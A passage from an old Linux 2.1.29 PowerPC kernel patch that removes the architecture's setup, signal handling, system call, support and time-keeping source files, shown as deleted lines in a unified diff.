0x03000000: /* 48M */ - case 0x04000000: /* 64M */ - BAT2.batu.bl = BL_64M; - Hash_size = HASH_TABLE_SIZE_512K; - Hash_mask = HASH_TABLE_MASK_512K; - break; - case 0x05000000: /* 80M */ - BAT2.batu.bl = BL_128M; - Hash_size = HASH_TABLE_SIZE_1M; - Hash_mask = HASH_TABLE_MASK_1M; - break; - default: - printk("WARNING: setup.c: find_end_of_memory() unknown total ram size %x\n", - _TotalMemory); - break; - } - - Hash = (PTE *)((_TotalMemory-Hash_size)+KERNELBASE); - bzero(Hash, Hash_size); - - -#ifdef HASHSTATS - hashhits = (unsigned long *)Hash - (Hash_size/sizeof(struct _PTE))/2; - bzero(hashhits, (Hash_size/sizeof(struct _PTE))/2); - return ((unsigned long *)hashhits); -#else - return ((unsigned long *)Hash); -#endif -} - -int size_memory; - -/* - * This is set up by the setup-routine at boot-time - */ -#define EXT_MEM_K (*(unsigned short *) (PARAM+2)) -#ifdef CONFIG_APM -#define APM_BIOS_INFO (*(struct apm_bios_info *) (PARAM+64)) -#endif -#define DRIVE_INFO (*(struct drive_info_struct *) (PARAM+0x80)) -#define SCREEN_INFO (*(struct screen_info *) (PARAM+0)) -#define MOUNT_ROOT_RDONLY (*(unsigned short *) (PARAM+0x1F2)) -#define RAMDISK_FLAGS (*(unsigned short *) (PARAM+0x1F8)) -#define ORIG_ROOT_DEV (*(unsigned short *) (PARAM+0x1FC)) -#define AUX_DEVICE_INFO (*(unsigned char *) (PARAM+0x1FF)) -#define LOADER_TYPE (*(unsigned char *) (PARAM+0x210)) -#define KERNEL_START (*(unsigned long *) (PARAM+0x214)) -#define INITRD_START (*(unsigned long *) (PARAM+0x218)) -#define INITRD_SIZE (*(unsigned long *) (PARAM+0x21c)) -#define COMMAND_LINE ((char *) (PARAM+2048)) -#define COMMAND_LINE_SIZE 256 - -#define RAMDISK_IMAGE_START_MASK 0x07FF -#define RAMDISK_PROMPT_FLAG 0x8000 -#define RAMDISK_LOAD_FLAG 0x4000 - -static char command_line[COMMAND_LINE_SIZE] = { 0, }; - char saved_command_line[COMMAND_LINE_SIZE]; - - -void -setup_arch(char **cmdline_p, unsigned long * memory_start_p, - unsigned long * memory_end_p) -{ - extern int _end; - extern char cmd_line[]; - unsigned char reg; - extern int panic_timeout; - char inf[512]; - int i; - - if (isBeBox[0]) - _Processor = _PROC_Be; - else - { - if (strncmp(res.VitalProductData.PrintableModel,"IBM",3)) - { - _Processor = _PROC_Motorola; - } - else - _Processor = _PROC_IBM; - } - - get_cpuinfo(&inf); - printk("%s",inf); - - /* Set up floppy in PS/2 mode */ - outb(0x09, SIO_CONFIG_RA); - reg = inb(SIO_CONFIG_RD); - reg = (reg & 0x3F) | 0x40; - outb(reg, SIO_CONFIG_RD); - outb(reg, SIO_CONFIG_RD); /* Have to write twice to change! */ - - switch ( _Processor ) - { - case _PROC_IBM: - ROOT_DEV = to_kdev_t(0x0301); /* hda1 */ - break; - case _PROC_Motorola: - ROOT_DEV = to_kdev_t(0x0801); /* sda1 */ - break; - } - aux_device_present = 0xaa; - - panic_timeout = 300; /* reboot on panic */ - -#if 0 - /* get root via nfs from charon -- was only used for testing */ - ROOT_DEV = MKDEV(UNNAMED_MAJOR, 255); /* nfs */ - /*nfsaddrs=myip:serverip:gateip:netmaskip:clientname*/ - strcpy(cmd_line, - "nfsaddrs=129.138.6.101:129.138.6.90:129.138.6.1:255.255.255.0:gordito nfsroot=/joplin/ppc/root/"); -#endif - *cmdline_p = cmd_line; - *memory_start_p = (unsigned long) &_end; - (unsigned long *)*memory_end_p = (unsigned long *)end_of_DRAM; - size_memory = *memory_end_p - KERNELBASE; /* Relative size of memory */ - -#ifdef CONFIG_BLK_DEV_RAM - rd_image_start = RAMDISK_FLAGS & RAMDISK_IMAGE_START_MASK; - rd_prompt = ((RAMDISK_FLAGS & RAMDISK_PROMPT_FLAG) != 0); - rd_doload = ((RAMDISK_FLAGS & RAMDISK_LOAD_FLAG) != 0); -#if 1 - rd_prompt = 1; - rd_doload = 1; - rd_image_start = 0; -#endif -#endif - - /* Save unparsed command line copy for /proc/cmdline */ - memcpy(saved_command_line, cmd_line,strlen(cmd_line)+1); - printk("Command line: %s\n", cmd_line); -} - -asmlinkage int sys_ioperm(unsigned long from, unsigned long num, int on) -{ - return -EIO; -} - - -int -get_cpuinfo(char *buffer) -{ - extern unsigned long loops_per_sec; - int i; - int pvr = _get_PVR(); - int len; - char *model; - unsigned long full = 0, overflow = 0; - unsigned int ti; - PTE *ptr; - - switch (pvr>>16) - { - case 3: - model = "603"; - break; - case 4: - model = "604"; - break; - case 6: - model = "603e"; - break; - case 7: - model = "603ev"; - break; - default: - model = "unknown"; - break; - } - -#ifdef __SMP__ -#define CD(X) (cpu_data[n].X) -#else -#define CD(X) (X) -#define CPUN 0 -#endif - - len = sprintf(buffer, "PowerPC %s/%dMHz revision %d.%d %s\n", - model, - (res.VitalProductData.ProcessorHz > 1024) ? - res.VitalProductData.ProcessorHz>>20 : - res.VitalProductData.ProcessorHz, - MAJOR(pvr), MINOR(pvr), - (inb(IBM_EQUIP_PRESENT) & 2) ? "" : "upgrade"); -#if 1 - if ( res.VitalProductData.PrintableModel[0] ) - len += sprintf(buffer+len,"%s\n",res.VitalProductData.PrintableModel); - - len += sprintf(buffer+len,"Bus %dMHz\n", - (res.VitalProductData.ProcessorBusHz > 1024) ? - res.VitalProductData.ProcessorBusHz>>20 : - res.VitalProductData.ProcessorBusHz); - - /* make sure loops_per_sec has been setup -- ie not at boottime -- Cort */ - if ( CD(loops_per_sec+2500)/500000 > 0) - len += sprintf(buffer+len, - "bogomips: %lu.%02lu\n", - CD(loops_per_sec+2500)/500000, - (CD(loops_per_sec+2500)/5000) % 100); - - - len += sprintf(buffer+len,"Total Ram: %dM Hash Table: %dkB (%dk buckets)\n", - _TotalMemory>>20, Hash_size>>10, - (Hash_size/(sizeof(PTE)*8)) >> 10); - - for ( i = 0 ; (res.ActualNumMemories) && (i < MAX_MEMS) ; i++ ) - { - if (i == 0) - len += sprintf(buffer+len,"SIMM Banks: "); - if ( res.Memories[i].SIMMSize != 0 ) - len += sprintf(buffer+len,"%d:%dM ",i, - (res.Memories[i].SIMMSize > 1024) ? - res.Memories[i].SIMMSize>>20 : - res.Memories[i].SIMMSize); - if ( i == MAX_MEMS-1) - len += sprintf(buffer+len,"\n"); - } - - /* TLB */ - len += sprintf(buffer+len,"TLB"); - switch(res.VitalProductData.TLBAttrib) - { - case CombinedTLB: - len += sprintf(buffer+len,": %d entries\n", - res.VitalProductData.TLBSize); - break; - case SplitTLB: - len += sprintf(buffer+len,": (split I/D) %d/%d entries\n", - res.VitalProductData.I_TLBSize, - res.VitalProductData.D_TLBSize); - break; - case NoneTLB: - len += sprintf(buffer+len,": not present\n"); - break; - } - - /* L1 */ - len += sprintf(buffer+len,"L1: "); - switch(res.VitalProductData.CacheAttrib) - { - case CombinedCAC: - len += sprintf(buffer+len,"%dkB LineSize\n", - res.VitalProductData.CacheSize, - res.VitalProductData.CacheLineSize); - break; - case SplitCAC: - len += sprintf(buffer+len,"(split I/D) %dkB/%dkB Linesize %dB/%dB\n", - res.VitalProductData.I_CacheSize, - res.VitalProductData.D_CacheSize, - res.VitalProductData.D_CacheLineSize, - res.VitalProductData.D_CacheLineSize); - break; - case NoneCAC: - len += sprintf(buffer+len,"not present\n"); - break; - } - - /* L2 */ - if ( (inb(IBM_EQUIP_PRESENT) & 1) == 0) /* l2 present */ - { - int size; - - len += sprintf(buffer+len,"L2: %dkB %s\n", - ((inb(IBM_L2_STATUS) >> 5) & 1) ? 512 : 256, - (inb(IBM_SYS_CTL) & 64) ? "enabled" : "disabled"); - } - else - { - len += sprintf(buffer+len,"L2: not present\n"); - } -#if 0 - len+= sprintf(buffer+len,"Equip register %x\n", - inb(IBM_EQUIP_PRESENT)); - len+= sprintf(buffer+len,"L2Status register %x\n", - inb(IBM_L2_STATUS)); -#endif -#endif - - - return len; -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/signal.c linux/arch/ppc/kernel/signal.c --- linux-2.1.29/arch/ppc/kernel/signal.c Sat May 10 18:17:09 1997 +++ linux/arch/ppc/kernel/signal.c Wed Dec 31 19:00:00 1969 @@ -1,283 +0,0 @@ -/* - * linux/arch/ppc/kernel/signal.c - * - * Copyright (C) 1991, 1992 Linus Torvalds - * Adapted for PowerPC by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define _S(nr) (1<<((nr)-1)) - -#define _BLOCKABLE (~(_S(SIGKILL) | _S(SIGSTOP))) - -asmlinkage int sys_waitpid(pid_t pid,unsigned long * stat_addr, int options); - -/* - * atomically swap in the new signal mask, and wait for a signal. - */ -asmlinkage int sys_sigsuspend(unsigned long set, int p2, int p3, int p4, int p6, int p7, struct pt_regs *regs) -{ - unsigned long mask; - int ret = -EINTR; - - lock_kernel(); - mask = current->blocked; - current->blocked = set & _BLOCKABLE; - regs->gpr[3] = -EINTR; -#if 0 -printk("Task: %x[%d] - SIGSUSPEND at %x, Mask: %x\n", current, current->pid, regs->nip, set); -#endif - while (1) { - current->state = TASK_INTERRUPTIBLE; - schedule(); - if (do_signal(mask,regs)) - goto out; - } -out: - unlock_kernel(); - return ret; -} - -asmlinkage int sys_sigreturn(struct pt_regs *regs) -{ - struct sigcontext_struct *sc; - struct pt_regs *int_regs; - int signo, ret; - - lock_kernel(); -#if 1 - if (verify_area(VERIFY_READ, (void *) regs->gpr[1], sizeof(sc)) - || (regs->gpr[1] >=KERNELBASE)) - goto badframe; -#endif - sc = (struct sigcontext_struct *)regs->gpr[1]; - current->blocked = sc->oldmask & _BLOCKABLE; - int_regs = sc->regs; - signo = sc->signal; - sc++; /* Pop signal 'context' */ - if (sc == (struct sigcontext_struct *)(int_regs)) { - /* Last stacked signal */ -#if 0 - /* This doesn't work - it blows away the return address! */ - memcpy(regs, int_regs, sizeof(*regs)); -#else - /* Don't mess up 'my' stack frame */ - memcpy(®s->gpr, &int_regs->gpr, sizeof(*regs)-sizeof(regs->_overhead)); -#endif - if ((int)regs->orig_gpr3 >= 0 && - ((int)regs->result == -ERESTARTNOHAND || - (int)regs->result == -ERESTARTSYS || - (int)regs->result == -ERESTARTNOINTR)) - { - regs->gpr[3] = regs->orig_gpr3; - regs->nip -= 4; /* Back up & retry system call */ - regs->result = 0; - } - ret = (regs->result); - } else { /* More signals to go */ - regs->gpr[1] = (unsigned long)sc; - regs->gpr[3] = sc->signal; - regs->gpr[4] = sc->regs; - regs->link = (unsigned long)((sc->regs)+1); - regs->nip = sc->handler; - ret = sc->signal; - } - goto out; - -badframe: - /*printk("sys_sigreturn(): badstack regs %x cur %s/%d\n", - regs,current->comm,current->pid);*/ - do_exit(SIGSEGV); -out: - unlock_kernel(); - return ret; -} - - -/* - * Note that 'init' is a special process: it doesn't get signals it doesn't - * want to handle. Thus you cannot kill init even with a SIGKILL even by - * mistake. - * - * Note that we go through the signals twice: once to check the signals that - * the kernel can handle, and then we build all the user-level signal handling - * stack-frames in one go after that. - */ -asmlinkage int do_signal(unsigned long oldmask, struct pt_regs * regs) -{ - unsigned long mask; - unsigned long handler_signal = 0; - unsigned long *frame = NULL; - unsigned long *trampoline, *regs_ptr; - unsigned long nip = 0; - unsigned long signr; - struct sigcontext_struct *sc; - struct sigaction * sa; - int bitno, s, ret; - - lock_kernel(); - mask = ~current->blocked; - while ((signr = current->signal & mask)) { - for (bitno = 0; bitno < 32; bitno++) - if (signr & (1<signal &= ~(1<sig->action + signr; - signr++; - if ((current->flags & PF_PTRACED) && signr != SIGKILL) { - current->exit_code = signr; - current->state = TASK_STOPPED; - notify_parent(current); - schedule(); - if (!(signr = current->exit_code)) - continue; - current->exit_code = 0; - if (signr == SIGSTOP) - continue; - if (_S(signr) & current->blocked) { - current->signal |= _S(signr); - continue; - } - sa = current->sig->action + signr - 1; - } - if (sa->sa_handler == SIG_IGN) { - if (signr != SIGCHLD) - continue; - /* check for SIGCHLD: it's special */ - while (sys_waitpid(-1,NULL,WNOHANG) > 0) - /* nothing */; - continue; - } - if (sa->sa_handler == SIG_DFL) { - if (current->pid == 1) - continue; - switch (signr) { - case SIGCONT: case SIGCHLD: case SIGWINCH: - continue; - - case SIGSTOP: case SIGTSTP: case SIGTTIN: case SIGTTOU: - if (current->flags & PF_PTRACED) - continue; - current->state = TASK_STOPPED; - current->exit_code = signr; - if (!(current->p_pptr->sig->action[SIGCHLD-1].sa_flags & - SA_NOCLDSTOP)) - notify_parent(current); - schedule(); - continue; - - case SIGQUIT: case SIGILL: case SIGTRAP: - case SIGIOT: case SIGFPE: case SIGSEGV: - if (current->binfmt && current->binfmt->core_dump) { - if (current->binfmt->core_dump(signr, regs)) - signr |= 0x80; - } - /* fall through */ - default: - current->signal |= _S(signr & 0x7f); - do_exit(signr); - } - } - - /* handle signal */ - if ((int)regs->orig_gpr3 >= 0) { - if ((int)regs->result == -ERESTARTNOHAND || - ((int)regs->result == -ERESTARTSYS && - !(sa->sa_flags & SA_RESTART))) - (int)regs->result = -EINTR; - } - handler_signal |= 1 << (signr-1); - mask &= ~sa->sa_mask; - } - ret = 0; - if (!handler_signal) /* no handler will be called - return 0 */ - goto out; - - nip = regs->nip; - frame = (unsigned long *) regs->gpr[1]; - - /* Build trampoline code on stack */ - frame -= 2; - trampoline = frame; -#if 1 - /* verify stack is valid for writing regs struct */ - if (verify_area(VERIFY_WRITE,(void *)frame, sizeof(long)*2+sizeof(*regs)) - || (frame >= KERNELBASE )) - goto badframe; -#endif - trampoline[0] = 0x38007777; /* li r0,0x7777 */ - trampoline[1] = 0x44000002; /* sc */ - frame -= sizeof(*regs) / sizeof(long); - regs_ptr = frame; - memcpy(regs_ptr, regs, sizeof(*regs)); - signr = 1; - sa = current->sig->action; - - for (mask = 1 ; mask ; sa++,signr++,mask += mask) { - if (mask > handler_signal) - break; - if (!(mask & handler_signal)) - continue; - - frame -= sizeof(struct sigcontext_struct) / sizeof(long); -#if 1 - if (verify_area(VERIFY_WRITE,(void *)frame, - sizeof(struct sigcontext_struct)/sizeof(long))) - goto badframe; -#endif - sc = (struct sigcontext_struct *)frame; - nip = (unsigned long) sa->sa_handler; -#if 0 /* Old compiler */ - nip = *(unsigned long *)nip; -#endif - if (sa->sa_flags & SA_ONESHOT) - sa->sa_handler = NULL; - sc->handler = nip; - sc->oldmask = current->blocked; - sc->regs = (unsigned long)regs_ptr; - sc->signal = signr; - current->blocked |= sa->sa_mask; - regs->gpr[3] = signr; - regs->gpr[4] = (unsigned long)regs_ptr; - } - regs->link = (unsigned long)trampoline; - regs->nip = nip; - regs->gpr[1] = (unsigned long)sc; - - /* The DATA cache must be flushed here to insure coherency - * between the DATA & INSTRUCTION caches. Since we just - * created an instruction stream using the DATA [cache] space - * and since the instruction cache will not look in the DATA - * cache for new data, we have to force the data to go on to - * memory and flush the instruction cache to force it to look - * there. The following function performs this magic - */ - flush_instruction_cache(); - ret = 1; - goto out; - -badframe: -#if 0 - printk("do_signal(): badstack signr %d frame %x regs %x cur %s/%d\n", - signr, frame, regs, current->comm, current->pid); -#endif - do_exit(SIGSEGV); - -out: - unlock_kernel(); - return ret; -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/stubs.c linux/arch/ppc/kernel/stubs.c --- linux-2.1.29/arch/ppc/kernel/stubs.c Sat May 10 18:17:09 1997 +++ linux/arch/ppc/kernel/stubs.c Wed Dec 31 19:00:00 1969 @@ -1,58 +0,0 @@ -/*#include */ -#include -#include -#include - -void sys_iopl(void) -{ - lock_kernel(); - panic("sys_iopl"); - unlock_kernel(); -} -void sys_vm86(void) -{ - lock_kernel(); - panic("sys_vm86"); - unlock_kernel(); -} -void sys_modify_ldt(void) -{ - lock_kernel(); - panic("sys_modify_ldt"); - unlock_kernel(); -} - -void sys_ipc(void) -{ - lock_kernel(); - panic("sys_ipc"); - unlock_kernel(); -} - -void sys_newselect(void) -{ - lock_kernel(); - panic("sys_newselect"); - unlock_kernel(); -} - -#ifndef CONFIG_MODULES -void -scsi_register_module(void) -{ - lock_kernel(); - panic("scsi_register_module"); - unlock_kernel(); -} - -void -scsi_unregister_module(void) -{ - lock_kernel(); - panic("scsi_unregister_module"); - unlock_kernel(); -} -#endif - - - diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/support.c linux/arch/ppc/kernel/support.c --- linux-2.1.29/arch/ppc/kernel/support.c Tue May 28 00:46:04 1996 +++ linux/arch/ppc/kernel/support.c Wed Dec 31 19:00:00 1969 @@ -1,84 +0,0 @@ -/* - * Miscellaneous support routines - */ - -#include - -/*extern __inline__*/ int find_first_zero_bit(void *add, int len) -{ - int mask, nr, i; - BITFIELD *addr = add; - nr = 0; - while (len) - { - if (~*addr != 0) - { /* Contains at least one zero */ - for (i = 0; i < 32; i++, nr++) - { - mask = BIT(nr); - if ((mask & *addr) == 0) - { - return (nr); - } - } - } - len -= 32; - addr++; - nr += 32; - } - return (0); /* Shouldn't happen */ -} - -/*extern __inline__*/ int find_next_zero_bit(void *add, int last_bit, int nr) -{ - int mask, i; - BITFIELD *addr = add; -#if 0 -printk("Find next (%x, %x)", addr, nr); -#endif - addr += nr >> 5; -#if 0 -printk(" - Pat: %x(%08X)\n", addr, *addr); -#endif - if ((nr & 0x1F) != 0) - { - if (*addr != 0xFFFFFFFF) - { /* At least one more bit available in this longword */ - for (i = (nr&0x1F); i < 32; i++, nr++) - { - mask = BIT(nr); - if ((mask & *addr) == 0) - { -#if 0 -printk("(1)Bit: %x(%d), Pat: %x(%08x)\n", nr, nr&0x1F, addr, *addr); -#endif - return (nr); - } - } - } - addr++; - nr = (nr + 0x1F) & ~0x1F; - } - while (nr < last_bit) - { - if (*addr != 0xFFFFFFFF) - { /* Contains at least one zero */ - for (i = 0; i < 32; i++, nr++) - { - mask = BIT(nr); - if ((mask & *addr) == 0) - { -#if 0 -printk("(2)Bit: %x(%d), Pat: %x(%08x)\n", nr, nr&0x1F, addr, *addr); -#endif - return (nr); - } - } - } - addr++; - nr += 32; - } - return (nr); /* Shouldn't happen */ -} - - diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/syscalls.c linux/arch/ppc/kernel/syscalls.c --- linux-2.1.29/arch/ppc/kernel/syscalls.c Sat May 10 18:17:09 1997 +++ linux/arch/ppc/kernel/syscalls.c Wed Dec 31 19:00:00 1969 @@ -1,233 +0,0 @@ -/* - * linux/arch/ppc/kernel/sys_ppc.c - * - * Adapted from the i386 version by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - * - * This file contains various random system calls that - * have a non-standard calling sequence on the Linux/PPC - * platform. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -/* - * sys_pipe() is the normal C calling standard for creating - * a pipe. It's not the way unix traditionally does this, though. - */ -asmlinkage int sys_pipe(unsigned long * fildes) -{ - int error; - - lock_kernel(); - error = verify_area(VERIFY_WRITE,fildes,8); - if (error) - goto out; - error = do_pipe(fildes); -out: - unlock_kernel(); - return error; -} - -asmlinkage unsigned long sys_mmap(unsigned long addr, size_t len, int prot, - int flags, int fd, off_t offset) -{ - struct file * file = NULL; - int ret = -EBADF; - - lock_kernel(); - if (!(flags & MAP_ANONYMOUS)) { - if (fd >= NR_OPEN || !(file = current->files->fd[fd])) - goto out; - } - flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE); - ret = do_mmap(file, addr, len, prot, flags, offset); -out: - unlock_kernel(); - return ret; -} - -/* - * Perform the select(nd, in, out, ex, tv) and mmap() system - * calls. Linux/i386 didn't use to be able to handle more than - * 4 system call parameters, so these system calls used a memory - * block for parameter passing.. - */ -asmlinkage int old_mmap(unsigned long *buffer) -{ - int error; - unsigned long flags; - long a,b,c,d,e; - struct file * file = NULL; - - lock_kernel(); - error = verify_area(VERIFY_READ, buffer, 6*sizeof(long)); - if (error) - goto out; - get_user(flags,buffer+3); - if (!(flags & MAP_ANONYMOUS)) { - unsigned long fd; - get_user(fd,buffer+4); - error = -EBADF; - if (fd >= NR_OPEN || !(file = current->files->fd[fd])) - goto out; - } - flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE); - error = -EFAULT; - if ( get_user(a,buffer) || get_user(b,buffer+1) || - get_user(c,buffer+2)||get_user(d,buffer+5) ) - goto out; - error = do_mmap(file,a,b,c, flags, d); -out: - unlock_kernel(); - return error; -} - -extern asmlinkage int sys_select(int, fd_set *, fd_set *, fd_set *, struct timeval *); - -asmlinkage int old_select(unsigned long *buffer) -{ - int n; - fd_set *inp; - fd_set *outp; - fd_set *exp; - struct timeval *tvp; - - lock_kernel(); - n = verify_area(VERIFY_READ, buffer, 5*sizeof(unsigned long)); - if (n) - goto out; - get_user(n,buffer); - get_user(inp,buffer+1); - get_user(outp,buffer+2); - get_user(exp,buffer+3); - get_user(tvp,buffer+4); - n = sys_select(n, inp, outp, exp, tvp); -out: - unlock_kernel(); - return n; -} -#if 0 - -/* - * sys_ipc() is the de-multiplexer for the SysV IPC calls.. - * - * This is really horribly ugly. - */ -asmlinkage int sys_ipc (uint call, int first, int second, int third, void *ptr, long fifth) -{ - int version, ret; - - lock_kernel(); - version = call >> 16; /* hack for backward compatibility */ - call &= 0xffff; - - if (call <= SEMCTL) - switch (call) { - case SEMOP: - ret = sys_semop (first, (struct sembuf *)ptr, second); - goto out; - case SEMGET: - ret = sys_semget (first, second, third); - goto out; - case SEMCTL: { - union semun fourth; - ret = -EINVAL; - if (!ptr) - goto out; - if ((ret = verify_area (VERIFY_READ, ptr, sizeof(long)))) - goto out; - fourth.__pad = (void *) get_fs_long(ptr); - ret = sys_semctl (first, second, third, fourth); - goto out; - } - default: - ret = -EINVAL; - goto out; - } - if (call <= MSGCTL) - switch (call) { - case MSGSND: - ret = sys_msgsnd (first, (struct msgbuf *) ptr, - second, third); - goto out; - case MSGRCV: - switch (version) { - case 0: { - struct ipc_kludge tmp; - ret = -EINVAL; - if (!ptr) - goto out; - if ((ret = verify_area (VERIFY_READ, ptr, sizeof(tmp)))) - goto out; - memcpy_fromfs (&tmp,(struct ipc_kludge *) ptr, - sizeof (tmp)); - ret = sys_msgrcv (first, tmp.msgp, second, tmp.msgtyp, third); - goto out; - } - case 1: default: - ret = sys_msgrcv (first, (struct msgbuf *) ptr, second, fifth, third); - goto out; - } - case MSGGET: - ret = sys_msgget ((key_t) first, second); - goto out; - case MSGCTL: - ret = sys_msgctl (first, second, (struct msqid_ds *) ptr); - goto out; - default: - ret = -EINVAL; - goto out; - } - if (call <= SHMCTL) - switch (call) { - case SHMAT: - switch (version) { - case 0: default: { - ulong raddr; - if ((ret = verify_area(VERIFY_WRITE, (ulong*) third, sizeof(ulong)))) - goto out; - ret = sys_shmat (first, (char *) ptr, second, &raddr); - if (ret) - goto out; - put_fs_long (raddr, (ulong *) third); - ret = 0; - goto out; - } - case 1: /* iBCS2 emulator entry point */ - ret = -EINVAL; - if (get_fs() != get_ds()) - goto out; - ret = sys_shmat (first, (char *) ptr, second, (ulong *) third); - goto out; - } - case SHMDT: - ret = sys_shmdt ((char *)ptr); - goto out; - case SHMGET: - ret = sys_shmget (first, second, third); - goto out; - case SHMCTL: - ret = sys_shmctl (first, second, (struct shmid_ds *) ptr); - goto out; - default: - ret = -EINVAL; - goto out; - } - else - ret = -EINVAL; -out: - unlock_kernel(); - return ret; -} -#endif diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/time.c linux/arch/ppc/kernel/time.c --- linux-2.1.29/arch/ppc/kernel/time.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/time.c Wed Dec 31 19:00:00 1969 @@ -1,465 +0,0 @@ -/* - * linux/arch/i386/kernel/time.c - * - * Copyright (C) 1991, 1992, 1995 Linus Torvalds - * - * Adapted for PowerPC (PreP) by Gary Thomas - * - * This file contains the PC-specific time handling details: - * reading the RTC at bootup, etc.. - * 1994-07-02 Alan Modra - * fixed set_rtc_mmss, fixed time.year for >= 2000, new mktime - * 1995-03-26 Markus Kuhn - * fixed 500 ms bug at call to set_rtc_mmss, fixed DS12887 - * precision CMOS clock update - */ -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -#include -#include - -extern int isBeBox[]; - -#define TIMER_IRQ 0 - -/* Cycle counter value at the previous timer interrupt.. */ -static unsigned long long last_timer_cc = 0; -static unsigned long long init_timer_cc = 0; - -static inline int CMOS_READ(int addr) -{ - outb(addr>>8, NVRAM_AS1); - outb(addr, NVRAM_AS0); - return (inb(NVRAM_DATA)); -} - -static inline int CMOS_WRITE(int addr, int val) -{ - outb(addr>>8, NVRAM_AS1); - outb(addr, NVRAM_AS0); - return (outb(val, NVRAM_DATA)); -} - -/* This function must be called with interrupts disabled - * It was inspired by Steve McCanne's microtime-i386 for BSD. -- jrs - * - * However, the pc-audio speaker driver changes the divisor so that - * it gets interrupted rather more often - it loads 64 into the - * counter rather than 11932! This has an adverse impact on - * do_gettimeoffset() -- it stops working! What is also not - * good is that the interval that our timer function gets called - * is no longer 10.0002 ms, but 9.9767 ms. To get around this - * would require using a different timing source. Maybe someone - * could use the RTC - I know that this can interrupt at frequencies - * ranging from 8192Hz to 2Hz. If I had the energy, I'd somehow fix - * it so that at startup, the timer code in sched.c would select - * using either the RTC or the 8253 timer. The decision would be - * based on whether there was any other device around that needed - * to trample on the 8253. I'd set up the RTC to interrupt at 1024 Hz, - * and then do some jiggery to have a version of do_timer that - * advanced the clock by 1/1024 s. Every time that reached over 1/100 - * of a second, then do all the old code. If the time was kept correct - * then do_gettimeoffset could just return 0 - there is no low order - * divider that can be accessed. - * - * Ideally, you would be able to use the RTC for the speaker driver, - * but it appears that the speaker driver really needs interrupt more - * often than every 120 us or so. - * - * Anyway, this needs more thought.... pjsg (1993-08-28) - * - * If you are really that interested, you should be reading - * comp.protocols.time.ntp! - */ - -#define TICK_SIZE tick - -static unsigned long do_slow_gettimeoffset(void) -{ - int count; - unsigned long offset = 0; - - /* timer count may underflow right here */ - outb_p(0x00, 0x43); /* latch the count ASAP */ - count = inb_p(0x40); /* read the latched count */ - count |= inb(0x40) << 8; - /* we know probability of underflow is always MUCH less than 1% */ - if (count > (LATCH - LATCH/100)) { - /* check for pending timer interrupt */ - outb_p(0x0a, 0x20); - if (inb(0x20) & 1) - offset = TICK_SIZE; - } - count = ((LATCH-1) - count) * TICK_SIZE; - count = (count + LATCH/2) / LATCH; - return offset + count; -} - -static unsigned long (*do_gettimeoffset)(void) = do_slow_gettimeoffset; - -/* - * This version of gettimeofday has near microsecond resolution. - */ -void do_gettimeofday(struct timeval *tv) -{ - unsigned long flags; - - save_flags(flags); - cli(); - *tv = xtime; - tv->tv_usec += do_gettimeoffset(); - if (tv->tv_usec >= 1000000) { - tv->tv_usec -= 1000000; - tv->tv_sec++; - } - restore_flags(flags); -} - -void do_settimeofday(struct timeval *tv) -{ - cli(); - /* This is revolting. We need to set the xtime.tv_usec - * correctly. However, the value in this location is - * is value at the last tick. - * Discover what correction gettimeofday - * would have done, and then undo it! - */ - tv->tv_usec -= do_gettimeoffset(); - - if (tv->tv_usec < 0) { - tv->tv_usec += 1000000; - tv->tv_sec--; - } - - xtime = *tv; - time_state = TIME_BAD; - time_maxerror = 0x70000000; - time_esterror = 0x70000000; - set_rtc(xtime.tv_sec); - sti(); -} - -static int month_days[12] = { - 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 -}; - -#define FEBRUARY 2 -#define STARTOFTIME 1970 -#define SECDAY 86400L -#define SECYR (SECDAY * 365) -#define leapyear(year) ((year) % 4 == 0) -#define days_in_year(a) (leapyear(a) ? 366 : 365) -#define days_in_month(a) (month_days[(a) - 1]) - -struct _tm -{ - int tm_sec; - int tm_min; - int tm_hour; - int tm_day; - int tm_month; - int tm_year; -}; - -static _to_tm(int tim, struct _tm * tm) -{ - register int i; - register long hms, day; - - day = tim / SECDAY; - hms = tim % SECDAY; - - /* Hours, minutes, seconds are easy */ - tm->tm_hour = hms / 3600; - tm->tm_min = (hms % 3600) / 60; - tm->tm_sec = (hms % 3600) % 60; - - /* Number of years in days */ - for (i = STARTOFTIME; day >= days_in_year(i); i++) - day -= days_in_year(i); - tm->tm_year = i; - - /* Number of months in days left */ - if (leapyear(tm->tm_year)) - days_in_month(FEBRUARY) = 29; - for (i = 1; day >= days_in_month(i); i++) - day -= days_in_month(i); - days_in_month(FEBRUARY) = 28; - tm->tm_month = i; - - /* Days are what is left over (+1) from all that. */ - tm->tm_day = day + 1; -} - -/* - * Set the time into the CMOS - */ -static void set_rtc(unsigned long nowtime) -{ - int retval = 0; - struct _tm tm; - unsigned char save_control, save_freq_select; - - /*if (_Processor != _PROC_IBM) return;*/ - - _to_tm(nowtime, &tm); - - /* tell the clock it's being set */ - save_control = CMOS_MCRTC_READ(MCRTC_CONTROL); - CMOS_MCRTC_WRITE((save_control|MCRTC_SET), MCRTC_CONTROL); - /* stop and reset prescaler */ - save_freq_select = CMOS_MCRTC_READ(MCRTC_FREQ_SELECT); - CMOS_MCRTC_WRITE((save_freq_select|MCRTC_DIV_RESET2), MCRTC_FREQ_SELECT); - - printk("Set RTC H:M:S M/D/Y %d:%02d:%02d %d/%d/%d\n", - tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_month, tm.tm_day, tm.tm_year); - if (!(save_control & MCRTC_DM_BINARY) || MCRTC_ALWAYS_BCD) { - BIN_TO_BCD(tm.tm_sec); - BIN_TO_BCD(tm.tm_min); - BIN_TO_BCD(tm.tm_hour); - BIN_TO_BCD(tm.tm_month); - BIN_TO_BCD(tm.tm_day); - BIN_TO_BCD(tm.tm_year); - } - - 